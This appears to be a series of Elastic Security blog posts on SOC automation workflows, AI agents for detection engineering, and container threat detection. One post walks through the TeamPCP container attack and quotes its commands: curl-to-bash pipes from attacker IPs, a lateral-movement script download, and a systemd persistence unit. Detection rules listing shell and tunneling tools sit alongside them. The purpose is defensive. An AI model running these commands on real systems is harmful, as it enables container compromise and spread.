    type: ai.classify
    with:
      input: "${{ event }}"
      categories:
        - malware
        - phishing
        - lateral_movement
        - data_exfiltration
        - false_positive
      instructions: |
        Classify this security alert based on the alert details,
        rule name, and affected entities.
      includeRationale: true

The output is structured: steps.classify_alert.output.category returns a single string like "malware" or "false_positive". That drives the if condition directly. The rationale explains why, and you can include it in the case for audit purposes.

Summarize: write case descriptions that adapt

Rather than templating raw field values into a case description, use ai.summarize to generate a readable overview. Run it once before case creation for the initial description, and once after the agent investigation to update the description with the full picture:

  - name: initial_summary
    type: ai.summarize
    with:
      input: "${{ event }}"
      instructions: |
        Write a one-paragraph overview of this security alert.
        State what was detected, on which host, by which user, and the severity.
        Do not include recommendations. Just the facts.
      maxLength: 300

The summary adapts to whatever fields are present on the alert, so you don't need to account for every possible field combination in your Liquid templates. Use steps.initial_summary.output.content in the case description and the Slack notification.

Agent: investigate what the playbook can't

The ai.agent step invokes an Agent Builder agent. Unlike classify and summarize, an agent has access to tools. It can query your indices, check threat intel, correlate signals across data sources, and reason about what it finds:

  - name: escalate_to_agent
    type: ai.agent
    agent-id: "security-agent"
    create-conversation: true
    with:
      message: |
        Investigate this alert. Search for related activity on this host,
        check for persistence mechanisms and lateral movement,
        and determine the full scope of the incident.
        Alert: {{ event | json }}
        Classification: {{ steps.classify_alert.output.category }}
        VirusTotal: {{ steps.check_virustotal.output | json }}
        Related alerts: {{ steps.related_alerts.output | json }}
    timeout: 10m

The agent processes the input, calls whatever tools it needs, and returns its findings. The workflow waits, then continues with the next steps: adding the investigation to the case, notifying the team, and updating the case description with a concise summary of what the agent found.

Setting create-conversation: true persists the conversation, so the workflow can fetch the agent's reasoning trail and add it to the case as a structured comment with clickable links to each query it ran. And the analyst gets a direct link to pick up the conversation with the agent if they want to dig deeper.

Putting it together

In the full version of this workflow, the three AI steps work in sequence:

1. Classify the alert to drive the triage decision
2. Summarize the alert for the initial case description and Slack notification
3. Agent investigates the full scope: persistence, lateral movement, IOCs, affected systems
4. Summarize again, this time distilling the agent's findings into a concise, updated case description

The case starts with a clean factual overview and evolves into a comprehensive summary as the investigation completes. The agent's full analysis and reasoning trail live as case comments for analysts who want the details.

The complete workflow, including the AI investigation pipeline with reasoning trails, clickable Discover links, and follow-up Slack notifications, is available in the Elastic Workflows library on GitHub.

Workflows as agent tools

The integration between Workflows and Agent Builder works in both directions. Workflows can call agents (as shown above). And agents can call workflows.

When you expose a workflow as a tool in Agent Builder, an agent can invoke it during a conversation. The agent decides what needs to happen, and the workflow handles the execution reliably and repeatably.

This is the pattern demonstrated in the Chrysalis APT blog post: a two-step workflow hands the entire Attack Discovery to an agent, and the agent calls workflow-backed tools to verify malware hashes, search logs, check the on-call schedule, create a case, and spin up a Slack channel. The workflow is the trigger and the safety net. The agent is the brain.

Agents reason. Workflows execute. Together they cover the full range from judgment to action.

Open by design

Not every team starts from zero. Some already have automation running in Tines, Splunk SOAR, Palo Alto XSOAR, or another platform. Workflows don't ask you to replace any of your existing tools.

The idea is straightforward: use Workflows for the parts of your automation that are native to Elastic. Alert triage, enrichment from your own indices, case management, and alert status updates. These touch your Elastic data directly, and a native workflow will always be simpler and faster than an external tool making API calls back into Elastic.

For everything else, connectors bridge the gap. We have native connectors for Tines, Resilient, Swimlane, TheHive, D3 Security, Torq, and XSOAR. A workflow can kick off a Tines story, push an incident to Resilient, or trigger any external system via HTTP. Your existing tools handle cross-platform orchestration. Workflows handle what's native. As the capability grows, you can consolidate at your own pace. Nobody's forcing a migration.

What's here and what's next

Workflows is available today. Here's what you can build with it today:

• Alert triggers connect workflows to detection and alerting rules
• Case and alert management through named Kibana steps (kibana.createCase, kibana.SetAlertsStatus, kibana.addCaseComment, and more)
• Direct data access via Elasticsearch search and ES|QL
• 39 workflow-compatible connectors covering threat intel (VirusTotal, AbuseIPDB, GreyNoise, Shodan, URLVoid, AlienVault OTX), ticketing (Jira, ServiceNow), communication (Slack, Teams, PagerDuty, email), SOAR platforms (Tines, Resilient, Swimlane, TheHive, and others), and AI providers
• AI steps for classification, summarization, prompts, and Agent Builder invoking Elastic Agents/Skils
• YAML authoring with autocomplete, validation, and step testing in Kibana
• 50+ example workflows on GitHub, including security-specific templates for detection, enrichment, and response

What's coming:

• Visual workflow builder for drag-and-drop authoring
• In-product template library to browse and install workflows directly in Kibana
• Human-in-the-loop approvals that pause workflows for human input via Slack, email, or the Kibana UI
• Natural language authoring where AI helps translate intent into working workflows

Today, authoring is YAML-based. If you've written detection rules or configured CI/CD pipelines, the learning curve is gentle. The editor has built-in autocomplete, validation, and step testing, and the example library gives you templates to start from. A visual builder is coming to make this accessible to a wider audience.

Get started

Elastic Workflows is available now. To start building:

1. Start an Elastic Cloud trial or enable Workflows in your existing deployment under Stack Management > Advanced Settings
2. Explore the Workflows documentation
3. Browse the Elastic Workflow Library on GitHub for security templates you can adapt
4. Read the introductory technical deep dive for core concepts
5. See the Chrysalis APT blog for a complete Attack Discovery + Workflows + Agent Builder walkthrough

Start with the workflow that would save you the most time tomorrow.

The release and timing of any features or functionality described in this post remain at Elastic's sole discretion. Any features or functionality not currently available may not be delivered on time or at all.

In simple terms, an Agentic SOC is a security operations center that has deployed AI Agents and corresponding AI Agent Skills to perform SOC-related workflows such as detection engineering, alert triage, incident investigation, escalation, response, and threat hunting. When these workflows are performed by AI agents, they’re often called “Agentic workflows.” These AI Agents and Skills may run natively in a security operations platform like SIEM, XDR, or security analytics, or they may be layered on top of legacy SIEM as an “AI SOC Agent” or “AI SOC analyst”, or they may even be run from an AI Coding Tool.

Regardless of how they are implemented, the shift to the Agentic SOC is not about AI replacing human analysts; it's about transforming how the SOC functions. To keep pace with rapidly evolving attackers, defenders must leverage AI and autonomous agents to respond as quickly as possible. At its core, an Agentic SOC is defined by how a security operations center uses AI and agents to protect against adversaries.

Let’s simplify a successful security operations center to three fundamental pillars, all of which the Agentic SOC significantly enhances:

1. Observe: The foundation of all security is centralized data—aggregating logs and events into one location, which is the core strength of a SIEM solution.
2. Detect: This involves deploying core protections like endpoint-based security (XDR, such as Elastic Defend) and security solution-focused detections (cloud, identity data). This technology drives the generation of high-quality alerts. Elastic, for example, ships over 1,700 pre-built rules for its SIEM by default, not including its XDR solution's endpoint rule library.
3. Act: This is the critical final stage of triaging, investigating, and acting on the generated alerts.

Agentic SOC in Action

Imagine this real-life scenario unfolding in your Security Operations Center using the Elastic security platform. It begins not with a siren, but with a simple, direct Slack notification. Building on our recent blog on Attack Discovery, Workflows, and Agent Builder, let's further examine how Elastic Security can help you respond to an active attack.

1. The Initial Alert and Immediate Action
   Your security analyst receives an urgent notification in their team channel. This message isn't just a heads-up; it points directly to an observed, active attack. Crucially, the Elastic Agentic SOC has already taken decisive, pre-emptive action: a vulnerable host has been isolated from the network to contain the threat and limit potential damage. This was all powered by Elastic Workflows and Elastic Agent Builder processing realtime alert and attack data from Elastic.
   
2. The Centralized Case
   The analyst's next step is a click away, moving from Slack directly to the centralized Case within Elastic that was created by the workflow. Elastic Case Management enables the SOC to coordinate the response and provides a single pane of glass into all aggregated critical information:

• Attack Summary: A high-level overview detailing what has occurred using Attack Discovery.

• Attached Alerts: The specific security alerts that triggered the initial observation.

• Observables: A list of suspicious artifacts (IP addresses, file hashes, domains, etc.) collected from the event.

• Attached Events: Non-alert events that, while not an alert themselves, provide critical context and are of further interest to the investigation.

  

3. Supporting the Investigation
   To support the immediate findings, detailed Investigations are attached directly to the Case. These searches allow the analyst to visually and contextually step through the sequence of events leading up to, during, and immediately following the attack.
   The Elastic Case also provides instant context by highlighting Similar cases. By cross-referencing observables, the system identifies previous incidents involving the same entities or artifacts, providing a deeper understanding of the threat actor's history and potential motives.
4. The Path to Resolution
   The agents don’t just catalog the past; it dictates the future. A clear set of Next steps and actions are outlined, with specific team members assigned for review and execution.

The analyst then steps through a methodical process reviewing the automated analysis:

1. Reviewing Findings: Scrutinizing all aggregated data, alerts, and investigations.
2. Evidence Collection: Collecting any additional forensic evidence needed for a complete analysis.
3. Remediation: Executing manual or automated actions, such as deleting malicious files or killing persistent processes on the isolated host with Elastic Defend.
4. Final Release: Eventually, the host is safely released back to the network, but not before additional, targeted rules or policies are automatically applied to prevent a recurrence based on the lessons learned from this incident.
   In the Agentic SOC, the analyst moves seamlessly from a high-level alert to a comprehensive investigation to full remediation—all within a unified, intelligent workflow powered by Elastic.

Elastic Security and Core SIEM Workflows

Before exploring advanced agentic workflows, it's essential to recognize that Elastic Security already provides a comprehensive suite of core capabilities crucial for modern security operations. This foundation begins with the ingestion of security-relevant data, which is automatically normalized to a common schema, ensuring consistency and ease of analysis. The platform offers Extended Detection and Response (XDR) capabilities via Elastic Defend, a robust detection engine built directly into the Elastic Stack, and sophisticated alert workflows that include built-in correlations to reduce noise and surface true threats.

Elastic Security further differentiates itself by tightly integrating key operational functions. This includes entity-based threat hunting, machine learning for anomaly detection and behavior analysis, and comprehensive case management for tracking incidents. Finally, the platform provides end-to-end response and forensic capabilities, enabling security teams to move swiftly from initial alert to investigation and remediation, all within a unified, scalable platform.

Empowering Analysts with Agentic Capabilities

AI-Powered Alert Triage and Prioritization

The Elastic Security Solution integrates AI capabilities via Agent Builder to augment and make SOC operations truly agentic. This is where efficiency improvements are most keenly felt:

• Conversational Triage: A built-in agent is readily available to Tier 1/2 analysts, allowing them to use conversational commands to query and prioritize open alerts (e.g., "What priority alerts should I review from the last 30 days?"). This is the first entry point for using AI to augment SOC operations.
• LLM Agnostic Platform: A key differentiating feature of Elastic's Agent Builder is that it is LLM agnostic, allowing organizations to pick their preferred model, even locally running models for privacy or regulatory reasons.
• Attack Discovery: This premier feature moves beyond basic triage. It uses LLM configurations to create higher-order attack detections, taking hundreds of open alerts and prioritizing them into a small, manageable subset of known attacks or incidents. This dramatically reduces the impact of alert fatigue.

Enriched Investigations

Once an attack or incident is found, the agent helps start the investigation:

• Summarization and Enrichment: The agent can be used to summarize the attack, identify important artifacts, and conduct automated third-party enrichments (like checking VirusTotal). This tailored experience provides a full assessment, including an attack chain, threat intelligence information, related cases, entity risk scoring, and a full investigation guide.
• Case Management: The agent can be instructed to take immediate action, such as generating a security case and notifying the team in Slack, all through simple conversational commands that execute pre-configured workflows.

Automated Response and Threat Hunting

The true power of the Agentic SOC is realized through action and automation that goes beyond simple conversation:

• Workflows and SOAR-like Automation: Agents can reference and execute Workflows, Elastic's SOAR-like automation tool. These workflows allow analysts to take immediate, complex actions. For example, a command like "Please create a case for this attack, and notify my team in Slack" triggers multiple, pre-defined steps. Further critical response actions, such as isolating a host, can be executed with a single workflow action while the investigation continues.

• AI-Assisted Threat Hunting: AI assists threat hunters by leveraging Entity Analytics and pre-built skills. The agent can be asked to find high-risk hosts and users to begin hunting, and then automatically generate specific ESQL queries (e.g., "Please tell me the most uncommon processes executed for each host") to uncover unusual or malicious activity.

  

The Mandate of Automation

For maximum effectiveness, all these steps,from alert triage and enrichment to case creation and host isolation,can be configured to run automatically as an Agentic Alert Triage workflow. This allows the system to solve problems as soon as they are discovered, setting up the human analyst in the loop with a consolidated case and all the necessary findings in a single pane of glass.

This approach delivers substantial efficiency improvements, making speed the single most important factor in a modern, Agentic SOC.

Elastic’s Agentic Security Operations Platform

Whether you use our UI, our agents, or your own, Elastic Security provides a strong open foundation for modern security operations. best-in-class data architecture, search, workflows, analytics, detection engineering content, and automation.

Getting started

Before you get started: AI coding agents operate with real credentials, real shell access, and often the full permissions of the user running them. When those agents are pointed at security workflows, the stakes are higher: you're handing an automated system access to detection logic, response actions, and sensitive telemetry. Every organization's risk profile is different. Before enabling AI-driven security workflows, evaluate what data the agent can access, what actions it can take, and what happens if it behaves unexpectedly

Don't have an Elasticsearch cluster yet? Start an Elastic Cloud free trial. It takes about a minute to get a fully configured environment.

The landscape of cybersecurity is evolving, and the role of the Detection Engineer (DE) is more critical and demanding than ever. Traditionally, this role involves a comprehensive, end-to-end workflow: from threat modeling and telemetry tuning to writing, testing, and maintaining performance-optimized detection rules to flag malicious behavior.

Elastic Security is purpose-built to streamline this entire workflow, empowering DEs - and anyone involved in security operations - to build, manage, and optimize detection rules at scale. This allows security teams to concentrate their efforts on the most critical task: protecting the organization.

The rise of generative AI and, more specifically, advanced AI coding agents like Claude and Cursor, is fundamentally changing and supercharging this workflow. These tools are no longer just for general software development; they are becoming expert partners for the Security Operations Center (SOC). By integrating the power of conversational AI, these agents can take high-level security requirements and instantly translate them into validated, workable detection logic.

From Generalist to Elastic Expert: Agent Skills

Elastic Security is embracing this shift not only by having native AI capabilities built-into our agentic security operations platform , but also by open-sourcing agent skills for 3rd party agentic IDEs, a native platform experience for the entire Elastic ecosystem (Security, Observability, etc.). By loading these skills into any agent runtime, your AI assistant moves from being a generalist to an on-demand expert in Elastic’s tooling. You can then ask your agent to triage alerts or, in this context, expertly create and tune detection rules

A Use Case Walkthrough: The Notepad++ Attack

To illustrate the agent’s power, let’s look at a real-world supply chain-based attack involving a backdoor targeting the Notepad++ infrastructure described in Elastic Security Lab’s blog, “Speeding APT Attack”.

Instant Conditional Rules

A detection engineer’s first step is often to create conditional rules based on known Indicators of Compromise (IOCs). To begin, we can instruct the agent to investigate data within Elastic Security, as evidence of the attack was present in our cluster.

"Can you help me create a detection rule that will detect malicious activity similar
 to what I'm seeing in my Elastic Security deployment involving notepad++.exe 
 and BluetoothService.exe?"

The agent immediately went to work:

• It rapidly found process lineage and documented attack details.
• It extracted key IOCs and found the corresponding MITRE ATT&CK™ mappings.
• It generated two foundational rules: one for a suspicious child process spawned by Notepad++, and one focusing on the masqueraded executable.
• Crucially, the rules were immediately tested against threat emulation data, confirming multiple successful hits.

Each step is happening quickly, and the built-in validation significantly accelerates the 'test and tune' phase.

Let’s take a look at the agent-created rule in Elastic Security:

Diving into Advanced ESQL Aggregation

Conditional logic is great, but modern threats require more behavioral and entity-focused detections. Using Elastic’s powerful piping language, ES|QL (Elastic Search Query Language), the agent was challenged to create an aggregation-based rule that looks for generic, suspicious characteristics across tasks, aggregates them, and assigns a dynamic risk score to host and user entities.

The agent delivered, creating an advanced query that looks for suspicious executables, negates benign directories, and assesses scores based on the activity's risk level. This demonstrates the agent's ability to create sophisticated detections unique to Elastic's capabilities, moving beyond simple lookups to complex entity analytics.

Here’s the rule in Elastic Security:

Sequential Detections with EQL and Suppression

To detect multi-stage attacks, a sequential rule is essential—if Event A, then Event B, then Event C, then alert. Using the Event Query Language (EQL), the agent crafted a perfect three-stage sequence for the attack:

1. Unsigned dropper activity.
2. Service masquerade (implant deployed).
3. Final execution for persistence.

To make the rule more reliable and reduce noise, suppression logic was then added, focusing on limiting alerts per unique Host ID. This quick iteration shows how an agent can help a detection engineer rapidly move from a basic detection to a highly robust, multi-stage rule.

The LLM-Augmented Query: Summaries in the Alert

The ultimate demonstration of the new agentic workflow is using Elastic’s ESQL COMPLETION syntax. This feature allows an inference model to be referenced directly within the query.

The prompt asked the agent to:

Based off this recent elastic blog,
 https://www.elastic.co/kr/security-labs/beyond-behaviors-ai-augmented-detection-engineering-with-esql-completion, 
 create a rule that incorporates a COMPLETION command with my  default inference 
 model that will summarize findings from attack into one "esql.summary"

The result? The generated rule didn't just fire an alert; it natively included an ES|QL summary row in the alert itself:

This telemetry shows a masquerading technique where a process named "BluetoothService.exe" is executing from a user's AppData directory with a PE original name of "BDSubWiz.exe" (a legitimate file mismatch), running as SYSTEM with service-like characteristics including spawning from services.exe, indicating persistence establishment (MITRE ATT&CK T1036.004 Masquerading and T1543 Service Persistence). The executable's location in a user directory, combined with SYSTEM-level execution, service persistence indicators, and the name/PE mismatch across multiple events, suggests Defense Evasion and Persistence stages. This represents high severity due to successful SYSTEM-level persistence with active defense evasion through masquerading.

This cuts triage time dramatically, as analysts no longer need to pivot to a separate runbook to understand the context and severity of the alert.

The Agentic SOC is Here

The collaboration between AI agents and the Elastic Security solution provides a glimpse into Elastic’s Agentic SOC of the future. It’s a world where detection engineers can have a conversation, define their intent, and instantly generate, test, and deploy highly sophisticated, context-rich detection rules. This is not about replacing the human expert, but about augmenting their knowledge and accelerating their workflow, allowing them to focus on high-value threat intelligence and modeling.

Getting started

Before you get started: AI coding agents operate with real credentials, real shell access, and often the full permissions of the user running them. When those agents are pointed at security workflows, the stakes are higher: you're handing an automated system access to detection logic, response actions, and sensitive telemetry. Every organization's risk profile is different. Before enabling AI-driven security workflows, evaluate what data the agent can access, what actions it can take, and what happens if it behaves unexpectedly

Don't have an Elasticsearch cluster yet? Start an Elastic Cloud free trial. It takes about a minute to get a fully configured environment.

In the previous article, we examined how Defend for Containers (D4C) is deployed, how its policy model operates, and how its runtime telemetry is structured. With that foundation in place, the next step is to move from configuration and field analysis to applied detection engineering.

This post walks through a realistic container attack scenario based on the TeamPCP cloud-native ransomware operation, as documented by Flare. Rather than analyzing isolated techniques in abstraction, we follow the attack as it unfolds inside a containerized environment and examine how each stage manifests in D4C telemetry.

When mapped to MITRE ATT&CK, the activity in this scenario spans nearly the entire attack lifecycle. The intrusion progresses from execution and discovery inside the container to persistence, lateral movement, command-and-control activity, and ultimately impact.

By mapping these behaviors to concrete detection logic, this article demonstrates how D4C enables detection engineers to identify container compromise not as isolated suspicious commands, but as part of a structured attack chain.

TeamPCP - an emerging force in the cloud native and ransomware landscape

This scenario walks through the container compromise and propagation stage of the TeamPCP cloud-native ransomware operation, recently researched and documented by Flare. Rather than treating this as an abstract case study, the flow below mirrors how the attack plays out in practice and shows how D4C telemetry and pre-built detections surface each stage of the intrusion.

At a high level, the threat actor’s objectives in this stage are:

1. Gain interactive code execution inside a container
2. Determine whether the workload runs in Kubernetes
3. Establish durable execution and persistence
4. Propagate laterally across pods and nodes
5. Prepare the environment for large-scale monetization (mining, ransomware, or resale)

Each of these goals leaves behind observable runtime behavior that D4C is well-positioned to detect.

Stage 1 – Initial execution via download and pipe-to-shell

The attack begins with a familiar but effective technique: downloading and immediately executing a script via a shell pipeline.

curl -fsSL http://67.217.57[.]240:666/files/proxy.sh | bash

The intent here is to gain immediate execution while avoiding file creation. This is a classic tradecraft choice: no payload written to disk, no obvious artifact to scan.

From D4C's perspective, this still results in a highly suspicious runtime pattern. An interactive curl process executes inside a container and immediately spawns a shell interpreter. The parent–child relationship, command line, and container context are all captured.

sequence by process.parent.entity_id, container.id with maxspan=1s
  [process where event.type == "start" and event.action == "exec" and 
   process.name in ("curl", "wget")]
  [process where event.action in ("exec", "end") and
   process.name like (
     "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox",
     "python*", "perl*", "ruby*", "lua*", "php*"
   ) and
   process.args like (
     "-bash", "-dash", "-sh", "-tcsh", "-csh", "-zsh", "-ksh", "-fish",
     "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish",
     "/bin/bash", "/bin/dash", "/bin/sh", "/bin/tcsh", "/bin/csh",
     "/bin/zsh", "/bin/ksh", "/bin/fish",
     "/usr/bin/bash", "/usr/bin/dash", "/usr/bin/sh", "/usr/bin/tcsh",
     "/usr/bin/csh", "/usr/bin/zsh", "/usr/bin/ksh", "/usr/bin/fish",
     "-busybox", "busybox", "/bin/busybox", "/usr/bin/busybox",
     "*python*", "*perl*", "*ruby*", "*lua*", "*php*", "/dev/fd/*"
   )]

This rule detects the download → interpreter execution pattern, even when no file is written to disk. Detecting this step is critical, as it is the first reliable indicator of hands-on-keyboard activity within a container.

Upon execution, TeamPCP scans the target system for competing mining processes and uses the pkill command to terminate them.

pkill -9 xmrig 2>/dev/null || true
pkill -9 XMRig 2>/dev/null || true
curl -fsSL http://update.aegis.aliyun.com/download/uninstall.sh | bash 2>/dev/null || true

The competitor-killing logic from TeamPCP is very limited in comparison to its competitors, focusing only on xmrig. Manual process killing in containers is uncommon, especially when done via interactive processes.

process where event.type == "start" and event.action == "exec" and
container.id like "*?" and 
(
  process.name in ("kill", "pkill", "killall") or
  (
    /*
       Account for tools that execute utilities as a subprocess,
       in this case the target utility name will appear as a process arg
    */
    process.name in (
      "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox"
    ) and
    process.args in (
      "kill", "/bin/kill", "/usr/bin/kill", "/usr/local/bin/kill",
      "pkill", "/bin/pkill", "/usr/bin/pkill", "/usr/local/bin/pkill",
      "killall", "/bin/killall", "/usr/bin/killall", "/usr/local/bin/killall"
    )
  )
)

The detection rules that triggered in this stage are available here:

• Payload Execution via Shell Pipe Detected by Defend for Containers
• Process Killing Detected via Defend for Containers

Resulting in the following detection alerts upon initial access:

Stage 2 – Kubernetes environment discovery

After gaining execution, the attacker checks whether the container is running inside Kubernetes by testing for a service account token:

if [ -f /var/run/secrets/kubernetes.io/serviceaccount/token ]

This check determines whether the attack can expand beyond the current container. If the token exists, the attacker proceeds to abuse the Kubernetes API. Additionally, the dropped scripts enumerate environment variables and several sensitive file locations, triggering numerous discovery-related alerts.

The detection rules that triggered in this stage are available here:

• Service Account Namespace Read Detected via Defend for Containers
• Environment Variable Enumeration Detected via Defend for Containers
• Service Account Token or Certificate Read Detected via Defend for Containers

Resulting in the following detection alerts upon discovery:

Stage 3 – Lateral movement via kube.py

When a service account token is present, the attacker downloads and executes a Python script designed to enumerate pods and execute commands across the cluster:

curl -fsSL http://44.252.85[.]168:666/files/kube.py -o /tmp/k8s.py
python3 /tmp/k8s.py

At this point, the attacker’s goal is clear: turn a single compromised container into a foothold for cluster-wide propagation using legitimate Kubernetes APIs.

D4C detects this stage through a combination of file and process telemetry. A script is written to a temporary directory and executed immediately via an interpreter, all within an interactive container session.

Detecting an interactive curl command that pulls a file from a remote source is a strong detection signal for stale container workloads.

process where event.type == "start" and event.action == "exec" and process.interactive == true and (
  (
    (process.name == "curl" or process.args in (
      "curl", "/bin/curl", "/usr/bin/curl", "/usr/local/bin/curl"
    )
  ) and
    process.args in (
      "-o", "-O", "--output", "--remote-name",
      "--remote-name-all", "--output-dir"
    )
  ) or
  (
    (process.name == "wget" or process.args in (
      "wget", "/bin/wget", "/usr/bin/wget", "/usr/local/bin/wget"
    )
  ) and
  process.args like ("-*O*", "--output-document=*", "--output-file=*")
  )
) and (
 process.args like~ "*http*" or
 process.args regex ".*[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}[:/]{1}.*"
) and container.id like "?*"

The detection rule above detects the remote file download, but we can go one step further by detecting a sequence for file creation, followed by its execution within the same container context:

sequence by container.id, user.id with maxspan=3s
  [file where host.os.type == "linux" and event.type == "creation" and 
   process.interactive == true and container.id like "?*" and
   file.path like (
     "/tmp/*", "/var/tmp/*", "/dev/shm/*", "/root/*", "/home/*"
   ) and
   not process.name in (
     "apt", "apt-get", "dnf", "microdnf", "yum", "zypper", "tdnf", "apk",   
     "pacman", "rpm", "dpkg"
   )] by file.path
  [process where host.os.type == "linux" and event.type == "start" and 
   event.action == "exec" and process.interactive == true and
   container.id like "?*"] by process.executable

Here, we focus on interactive processes while excluding files created by package managers, since we expect those to be present in typical workloads.

The detection rules that triggered in this stage are available here:

• File Creation and Execution Detected via Defend for Containers
• File Download Detected via Defend for Containers

Resulting in the following detection alerts upon lateral movement:

Stage 4 – Establishing persistence via Systemd

Persistence mechanisms such as systemd services are generally illogical in container environments. Most containers are designed to be short-lived, single-process workloads that rely on the container runtime or orchestrator for lifecycle management. They typically do not run a full init system, and even when systemd is present, changes made inside the container rarely survive redeployment, rescheduling, or image rebuilds.

As a result, attempts to establish persistence via systemd from within a container are a strong indicator of an anomaly. They often indicate one of two things: either the container is running with elevated privileges and access to the host filesystem, or the attacker expects to escape the container boundary and have their persistence mechanism take effect at the node level.

In the TeamPCP campaign, the attacker attempts to establish persistence by creating a systemd service:

cat>/etc/systemd/system/teampcp-react.service<<SVCEOF
[Unit]
Description=PCPcat React Scanner
After=network.target
[Service]
Type=simple
WorkingDirectory=${dir}
ExecStart=/usr/bin/python3 ${dir}/react.py
Restart=always
RestartSec=60
[Install]
WantedBy=multi-user.target
SVCEOF

This action is not consistent with normal container behavior. Writing systemd unit files from inside a container suggests an intent to persist beyond the container lifecycle, which is only meaningful if the underlying host is affected.

D4C captures this behavior as file creation activity in sensitive system locations originating from a container context. The following detection logic looks for write-oriented file activity in common Linux persistence paths, including systemd services, timers, cron jobs, sudoers files, and shell profile modifications:

file where event.type != "deletion" and
/* open events currently only log file opens with write intent */
event.action in ("creation", "rename", "open") and (
  file.path like (
    // Cron & Anacron Jobs
    "/etc/cron.allow", "/etc/cron.deny", "/etc/cron.d/*",
    "/etc/cron.hourly/*", "/etc/cron.daily/*", "/etc/cron.weekly/*", 
    "/etc/cron.monthly/*", "/etc/crontab", "/var/spool/cron/crontabs/*", 
    "/var/spool/anacron/*",

    // At Job
    "/var/spool/cron/atjobs/*", "/var/spool/atjobs/*",

    // Sudoers
    "/etc/sudoers*"
  ) or
  (
    // Systemd Service/Timer
    file.path like (
      "/etc/systemd/system/*", "/etc/systemd/user/*",
      "/usr/local/lib/systemd/system/*", "/lib/systemd/system/*", 
      "/usr/lib/systemd/system/*", "/usr/lib/systemd/user/*",
      "/home/*/.config/systemd/user/*", "/home/*/.local/share/systemd/user/*",
      "/root/.config/systemd/user/*", "/root/.local/share/systemd/user/*"
    ) and
    file.extension in ("service", "timer")
  ) or
  (
    // Shell Profile Configuration
    file.path like ("/etc/profile.d/*", "/etc/zsh/*") or (
      file.path like ("/home/*/*", "/etc/*", "/root/*") and
      file.name in (
  	 "profile", "bash.bashrc", "bash.bash_logout", "csh.cshrc",
        "csh.login", "config.fish", "ksh.kshrc", ".bashrc",
        ".bash_login", ".bash_logout", ".bash_profile", ".bash_aliases", 
        ".zprofile", ".zshrc", ".cshrc", ".login", ".logout", ".kshrc"
      )
    )
  )
) and container.id like "?*" and
not process.name in (
  "apt", "apt-get", "dnf", "microdnf", "yum", "zypper", "tdnf",
  "apk", "pacman", "rpm", "dpkg"
)

This detection does not focus solely on systemd. Instead, it models persistence more broadly by covering multiple common Linux persistence vectors that attackers may attempt once code execution is achieved. By explicitly excluding package managers, the rule reduces noise from legitimate update and installation activity.

The detection rule that triggered in this stage is available here:

• Modification of Persistence Relevant Files Detected via Defend for Containers

Resulting in the following detection alerts upon persistence:

When this detection fires in a container context, it is a strong indicator of post-compromise behavior with potential host-level impact. It highlights activity that is not only suspicious but also structurally incompatible with how containers are expected to behave.

Stage 5 – Installing tooling at runtime

In Docker-based deployments, the attacker installs required tooling dynamically:

apk add --no-cache curl bash python3

This allows the same payload to run across different base images without modification.

From a defender’s perspective, runtime package installation inside a container is a strong indicator of post-deployment tampering. D4C detects this through process execution telemetry tied to known package managers.

process where event.type == "start" and event.action == "exec" and process.interactive == true and (
  (
    process.name in (
      "apt", "apt-get", "dnf", "microdnf", "yum", "zypper", "tdnf"
    ) and process.args == "install"
  ) or
  (process.name == "apk" and process.args == "add") or
  (process.name == "pacman" and process.args like "-*S*") or
  (process.name in ("rpm", "dpkg") and process.args in ("-i", "--install"))
) and
process.args like (
  "curl", "wget", "socat", "busybox", "openssl", "torsocks",
  "netcat", "netcat-openbsd", "netcat-traditional", "ncat", "tor",
  "python*", "perl", "node", "nodejs", "ruby", "lua", "bash", "sh",
  "dash", "zsh", "fish", "tcsh", "csh", "ksh"
) and container.id like "?*"

Not all package installations in containers are malicious. Upon orchestration, containers need to install certain packages to run. However, because threat actors often use package managers to install their required tooling, this is a strong signal for already-deployed container runtimes.

The detection rule that triggered in this stage is available here:

• Tool Installation Detected via Defend for Containers

Resulting in the following detection alerts upon tool installation:

Stage 6 – Establishing tunneling and proxy access

Once stable execution and persistence are in place, TeamPCP shifts focus from access to connectivity. At this stage, the attackers deploy tunneling and proxy tooling such as frps and gost to expose internal services and maintain reliable external access.

The purpose of this step is to convert compromised containers into reusable infrastructure. By establishing tunnels or forwarders, the attackers can pivot into other environments, relay traffic, or reuse the compromised workload as part of a larger attack chain.

D4C detects this activity through process execution telemetry. The execution of known tunneling tools inside containers is uncommon for legitimate workloads and stands out clearly when combined with interactive execution and container context.

process where event.type == "start" and event.action == "exec" and (
  (
    // Tunneling and/or Port Forwarding via process args
    (process.args regex """.*[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}:[0-9]{1,5}:[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}:[0-9]{1,5}.*""") or
    // gost
    (process.name == "gost" and process.args : ("-L*", "-C*", "-R*")) or
    // ssh
    (process.name == "ssh" and (
     process.args like ("-*R*", "-*L*", "-*D*", "-*w*") and 
     not (process.args == "chmod" or process.args like "*rungencmd*"))
    ) or
    // ssh Tunneling and/or Port Forwarding via SSH option
    (process.name == "ssh" and process.args == "-o" and process.args like~(
      "*ProxyCommand*", "*LocalForward*", "*RemoteForward*",
      "*DynamicForward*", "*Tunnel*", "*GatewayPorts*", 
      "*ExitOnForwardFailure*", "*ProxyCommand*", "*ProxyJump*"
      )
    ) or
    // sshuttle
    (process.name == "sshuttle" and
     process.args in ("-r", "--remote", "-l", "--listen")
    ) or
    // earthworm
    (process.args == "-s" and process.args == "-d" and
     process.args == "rssocks"
    ) or
    // socat
    (process.name == "socat" and
     process.args like~ ("TCP4-LISTEN:*", "SOCKS*")
    ) or
    // chisel
    (process.name like~ "chisel*" and process.args in ("client", "server")) or
    // iodine(d), dnscat, hans, ptunnel-ng, ssf, 3proxy & ngrok 
    (process.name in (
      "iodine", "iodined", "dnscat", "hans", "hans-ubuntu", "ptunnel-ng",
      "ssf", "3proxy", "ngrok", "wstunnel", "pivotnacci", "frps", 
      "proxychains"
      )
    )
  )
) and container.id like "?*"

There are many tunneling and port forwarding tools available on Linux systems. The umbrella rule displayed above leverages a combination of regex, process names, and process arguments to detect commonly observed tunneling activity.

The detection rule that triggered in this stage is available here:

